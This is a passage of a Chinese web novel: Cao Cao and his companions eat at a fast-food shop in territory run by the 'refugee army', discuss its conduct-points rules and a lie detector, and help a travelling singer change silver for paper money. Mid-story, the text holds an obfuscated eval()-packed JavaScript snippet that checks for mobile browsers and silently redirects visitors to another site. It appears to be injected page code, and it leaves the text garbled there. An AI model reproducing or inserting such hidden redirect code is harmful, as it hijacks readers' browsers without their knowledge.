见她的眼神,同事才解释道,她不是缺钱,只是她是农户女出身,从前一遇到灾年,总要饿肚子,她的家人也许多都是饿死的,因此见不得有人浪费粮食。
王妍闹了个大红脸,也没有把剩饭给她,自己一口一口吃完了,哪怕吃得肚子很撑。
之后,她就下定决心,要是以后再加班,就提前准备好吃的。
就算点外卖,也一定要提前嘱咐店家,千万不要给那么多米饭,吃不完浪费。
回到家,看到一桌子几十道菜,她脑子里也自动浮现出同事说她家人饿死时的神情,心里突然就觉得不是滋味。
饭后,就让做饭的阿姨以后不要做这么多了,能够吃就好。
王妍至今还忘不掉阿姨诧异的神色,那表情好像在说,这个富太太怎么突然节约起来了?
是不是家里要破产了?
王妍苦笑一声,也没有解释,以为自己已经接受了改造,可事实证明,她仍和流民军的百姓差得远。
曹操这么说,她大松了口气:“公可知,我们这流行光盘,不浪费一粒粮食?”
曹操哈哈一笑,来了这么久,他当然早就入乡随俗了,就算是私底下,也不会违反,何况是在官员面前?
“放心吧,不会让你违纪,我们点的,刚刚够我们三个人吃,你点些够你自己吃的就好。”
王妍微笑点头,夏侯惇已经看准了有人吃完了,提前去占了座。
这里的模式也很奇特,吃完饭没有人来收拾碗盘,或者说,这里也没有碗盘。
每个人的食物都是用一个木盘盛放,木盘上放有一张油纸,每道菜也都用油纸包裹。
这种包装,本就方便打包,因此选择打包的人不少。
夏侯惇也是因为如此,才能这么快找到空位。
吃完的客人,自己走到垃圾桶前,把油纸扔进垃圾桶,然后把盘子摞在桌子上。
几人坐下,夏侯惇把刚刚看到的说了,啧啧道:“这连碗碟都不用洗,也不用什么人手,就一个人点餐收钱,厨房再有几个人,就把这个大个店撑起来了。”
王妍笑道:“正是这样,才能节约人力成本,我现在才明白,为什么这炸鸡和奶茶,明明是用油和糖制作的,价格却不贵了,想必就是在这些地方节省了大量人力成本。”
“人力成本?”
曹操几人几乎天天都能听到新词,但这个词也是第一次听见。
王妍点头:“没错,不仅是食材,房租水电,人力资源也是要计算成本的,毕竟,店老板雇人要出工钱,而且咱们这里人的工钱不低。”
曹操率先明白过来,无论是食材的本钱,还是房租水电,都是要摊到这炸鸡奶茶的卖价上的,人工工资自然也不例外。
现在又不是以前,还有卖身契,只要是自己的奴婢,可以一直使唤,开不开工钱都行。
现在流民军监管十分严格,还规定了最低工钱标准,敢不遵守的,都被抓去挖盐井了。
这些人,不是被自己奴役的奴婢们举报了,就是被邻居举报了。
因为流民军出台了举报不法之事,可以得操行分制度。
操行分,顾名思义,就是一的人的德行操守。
德行和操守,自然也是按照现在流民军的标准来,促进流民军和谐发展的,就加分,不利于发展的,就扣分。
这套制度不仅适用于社会上的人,也在学校运用了,不过学校里的操行分和外面是不相通的。
名字是一个名字,但作用完全不同,学校的操行分,是用于评选各种荣誉用的。
若不在乎这些荣誉,或者不在乎毕业后能不能留校任教的,这个操行分也不太重要。
外间的操行分,也是如此,但凡是要在外面做事的,操行分可以不高,但不能被扣。
只要被扣过,都会记录在案,不过做什么事都是束手束脚,考官政审不过,去工厂只能做普通岗位,做不了管理和核心技术员,当不了小先生。
就算你是商人,被扣分了,要拿流民军的核心物资,比如纸,塑料制品等等,都没门。
王妍自以为是很注意这些的,见这人知情识趣,不由得对他多了一分好感。
寒暄了几句,才聊到正题,王妍压低声音说了自己对测谎仪的猜测,曹操几人频繁点头。
如果是这样,还真是这个测谎仪有局限,王妍说完,又补充而一句:
“这也是我个人的猜想,究竟准不准,也是未知之数,还请几位不要告知他人。”
曹操点头承诺:“你放心,我保证我们兄弟三人绝不会说给第四个人听。”
这时上菜了,伙计在柜台前叫号,夏侯渊和夏侯惇主动去把四人的餐盘都端了过来。
“他们说打包的待会儿再上。”
曹操点头。
几人注意力都被菜品吸引,只见每人的盘子上都是几个油纸包。
王妍点的是猪排汉堡包,曹操点了个薯条和鸡米花,一个鸡排堡。
盘子上还有个小碟子,里面是红色酱料,不用夏侯两人说,曹操率先用筷子夹起一根薯条,沾了点酱料,送入口中。
他吃得眼睛眯起:“这酱料酸甜开胃,薯条外焦里嫩,味道不错。你们也快尝尝!”
夏侯两人一点不客气,两人几下子就把曹操盘子里的薯条瓜分完了,曹操就让他再点几份。
王妍还没吃到呢。
王妍看着盘子里大个的汉堡,和整个的鸡腿,一时有点为难。
家里的菜,都是切成方便入口的小块儿,绝不会像这家店,直接一整个端上来。
她是在不知道怎么吃,为难了一瞬,决定起身去问店员有没有餐刀。
流民军没来之前,大家吃饭都是要用到刀的,这里应该也有吧?
果然,王妍一去问,店员态度很好地直接帮她把所有食物都切割成了小份。
等她重新坐定在凳子上,曹操几人已经吃了一小半。
曹操很是善解人意:“我们都是大老粗,吃饭快些,你慢用,这点可不够我们吃的,等吃完了,还要点呢!”
王妍知道他的好意,客气地笑笑,余光看见周围桌,大家都是直接拿着整个汉堡大口啃,倒显得她很矫情似的。
她微微咳嗽一声,转移注意力:“天人说测谎仪有局限性,但我自己觉得,测谎仪还是比县太爷断案准多了,至少有个依据。”
话未说尽,在座几人却没有不懂的。
县太爷查案,可不看证据,看谁有钱有势,看师爷的意见,看自己的心情。
冤假错案那都是常事。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17439524|196519||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
几人也没有就这个话题多说,聊了几句葭萌最近新出的操行分政策,烦也吃得差不多了。
曹操和王妍抢着结账,在收银台却碰到两人,正在和店员扯皮。
一个身穿白色襦裙的女子,和一个年纪稍大些的老汉,正和店员商量:“伙计,纹银也不收吗?我这纹银成色很好的,你看看!”
老汉面色窘迫,从衣袋里掏出一锭银子,看起来确实好成色。
店员脸色为难:“老丈,不是我故意为难,而是咱流民军境内,早就不用白银和五铢钱了,不是成色的事儿。不论是白银还是铜钱,兑换比例不固定的,到时我没法和老板交代。”
“你出门左转,那里有钱庄,可兑换我们的纸币,让你女儿留在这儿,没危险的。”
那老汉一脸为难,显然是不敢把女儿一人留在此处。
他们都是外来的,他要是走了,女儿被地痞流氓占便宜怎么办?
虽然他们本就是伶人,但只卖场,不卖身!
曹操看了,就要上前,王妍一个眼神止住他,自己主动上前,热心道:“姑娘,老丈,你们是才来此地吧?我是此地的官员,你们若不放心,可以和我兑换这顿饭的银钱,然后出了门再一起去钱庄兑换。我们这里都是用纸币,确实不用铜钱和白银了。”
说着,她从衣兜里掏出一张纸币给两人看。
卞秀睁大眼,她之前就注意到大街小巷,任何地方,都有不少女子。
她一开始开以为此地民风开放,到处都是如她一般的伶人,但看着也不像。
这个女子,竟然是个官!
这太颠覆了,她愣愣地半晌没回神。
她和父亲是四处流浪的伶人,没有固定居所,四处卖唱,也是初到此地,找了个人多的食肆吃饭,对此地的了解,完全是一片空白。
王妍看她的样子就知道情况了,给出时间让她们充分消化。
半晌,那女子才弱弱道:“不知此处是什么兑换比例?”
事已至此,也没有别的办法了。
王妍一笑:“我们这里,一两银子是十块钱……”
说罢又教她认纸币面额:“这个是一块的,这是五块……”
店员也在一边帮腔:“兑换比例每隔一段时间就会变,前端时间一两银子九块的样子,今天还涨了?”
王妍点头:“我才从衙门出来,听同僚说了。”
卞秀看两人神态自若,店员也没反驳她说自己是官员的话,就知道大概率她还真是个官,至少,这里女子是可以做官的。
她有些激动,和父亲对视一眼,卞老汉点头,卞秀便拿出银子和王妍兑换了这顿饭钱的纸币。
因为手里没有恰好重量的银子,她还才包袱里拿出小称和剪子,称完剪了足量的银角子给了王妍。
王妍也好久没看到这玩意了,有种奇怪的感觉。
纸币还是方便多了。
王妍主动道:“你们办身份证没有?”
卞秀摇头,她们进城的时候听到指引了,但没有在意,她们本就是流浪伶人,在一个地方不会久呆的,何必多此一举?
王妍微笑道:“你们住店也是需要我们这里的身份证的,还是赶紧去办一个吧,晚上登记处下班了你们可就只能睡门岗了。”